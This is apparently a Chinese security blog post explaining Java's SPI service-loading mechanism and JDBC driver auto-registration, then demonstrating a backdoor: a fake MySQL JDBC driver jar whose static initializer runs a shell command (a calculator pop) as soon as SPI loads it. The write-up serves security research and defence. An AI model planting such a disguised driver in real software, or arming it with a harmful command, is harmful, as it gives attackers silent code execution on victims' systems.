0x00 SPI机制
SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。以JDBC为例,如图:
如果有兴趣,可以去找相关资料做进一步的深入了解。
0x01 SPI与JDBC
经常看到有代码在写JDBC链接时,会用到以下两步:
// Register
DriverManager.registerDriver(new com.mysql.jdbc.Driver());
// Connect
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test");
我之前在<Make JDBC Attacks Brilliant Again>议题的测试用例中也会这么写,主要是因为有第一步可以更容易看出案例中使用的是哪个JDBC Driver,其实没有必要,主要是因为JDBC也是利用了SPI机制实现的。
以MySQL JDBC Driver为例,写一个连接MySQL数据库的测试用例。我们通过registerDriver方法指定JDBC驱动,这里由于我的MySQL JDBC Driver升级了,从mysql-connector-5.x升级到了mysql-connector-8.x,所以报出以下错误
Loading class 'com.mysql.jdbc.Driver'. This is deprecated. The new driver class is 'com.mysql.cj.jdbc.Driver'. The driver is automatically registered via the SPI and manual loading of the driver class is generally unnecessary.
报错里清楚的告诉我们是通过SPI机制完成了自动注册,通常没有必要手工注册加载。
0x02 SPI如何打破双亲委派机制
说到SPI机制,还得从类加载的过程说起。Java类加载过程中,有一个环境是初始化(Initialization),初始化阶段会执行被加载类的Static Blocks。
还是以MySQL JDBC Driver为例,调试了解下JDBC驱动的代码调用逻辑,进入DriverManager
类
com.mysql.cj.jdbc.Driver
中的静态代码块调用了DriverManager
类的registerDriver
方法,因此JVM又会去加载DriverManager
类,加载过程中DriverManager
的静态代码块被执行。而 DriverManager
的静态代码块中调用了loadInitialDrivers
方法
loadInitialDrivers
方法里使用了SPI机制去获取Driver类的扩展点实现。下面是SPI的部分源码:
可以看到SPI机制使用Thread.currentThread().getContextClassLoader()
来获取类加载器,而扩展点实现类通过Class<?> c = Class.forName(cn, false, loader)
来获取。
这里的核心是通过Class.forName()
加载我们在META-INF/services/java.sql.Driver
文件中写的实现类
Class.forName()
使用当前的ClassLoader,我们是在DriverManager
类里调用ServiceLoader的,所以当前类也就是DriverManager
,它的加载器是Bootstrap ClassLoader
。我们知道Bootstrap ClassLoader
加载rt.jar包下的所有类,要用Bootstrap ClassLoader
去加载用户自定义的类是违背双亲委派的,所以使用Thread.currentThread().getContextClassLoader
去指定AppClassLoader
0x03 实现JDBC Driver后门
- 查看ClassPath中有哪些JDBC Driver
import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;
public class JdbcDriverList {
public static void main(String[] args) {
ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));
for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {
Driver driver = iterator.next();
System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
}
}
}
下面的结果是我们的环境中有4种不同数据库的JDBC Driver
- 实现JDBC Driver后门
在了解了原理以后,考虑自己去实现一个MySQL JDBC Driver的后门。目的是当用户引入fake MySQL JDBC Driver后,在建立JDBC链接时,触发执行命令,弹出计算器。由于JDBC是通过SPI机制实现的,所以不需要用户指定JDBC驱动,就可以自动加载后门驱动。
jar包结构如图
MySQLDriver.java ,执行命令的部分在静态代码块里定义,方便在initialization阶段直接加载
package com.mysql.fake.jdbc;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements java.sql.Driver {
protected static boolean DEBUG = false;
protected static final String WindowsCmd = "calc";
protected static final String LinuxCmd = "open -a calculator";
protected static String shell;
protected static String args;
protected static String cmd;
static{
if(DEBUG){
Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
}
if( System.getProperty("os.name").toLowerCase().contains("windows") ){
shell = "cmd.exe";
args = "/c";
cmd = WindowsCmd;
} else {
shell = "/bin/sh";
args = "-c";
cmd = LinuxCmd;
}
try{
Runtime.getRuntime().exec(new String[] {shell, args, cmd});
} catch(Exception ignored) {
}
}
// JDBC methods below
public boolean acceptsURL(String url){
if(DEBUG){
Logger.getGlobal().info("acceptsURL() called: "+url);
}
return false;
}
public Connection connect(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("connect() called: "+url);
}
return null;
}
public int getMajorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 1;
}
public int getMinorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 0;
}
public Logger getParentLogger(){
if(DEBUG){
Logger.getGlobal().info("getParentLogger() called");
}
return null;
}
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("getPropertyInfo() called: "+url);
}
return new DriverPropertyInfo[0];
}
public boolean jdbcCompliant(){
if(DEBUG){
Logger.getGlobal().info("jdbcCompliant() called");
}
return true;
}
}
打成jar包后导入,再次查看
再次连接MySQL数据库,执行命令弹出计算器,最终达到后门效果。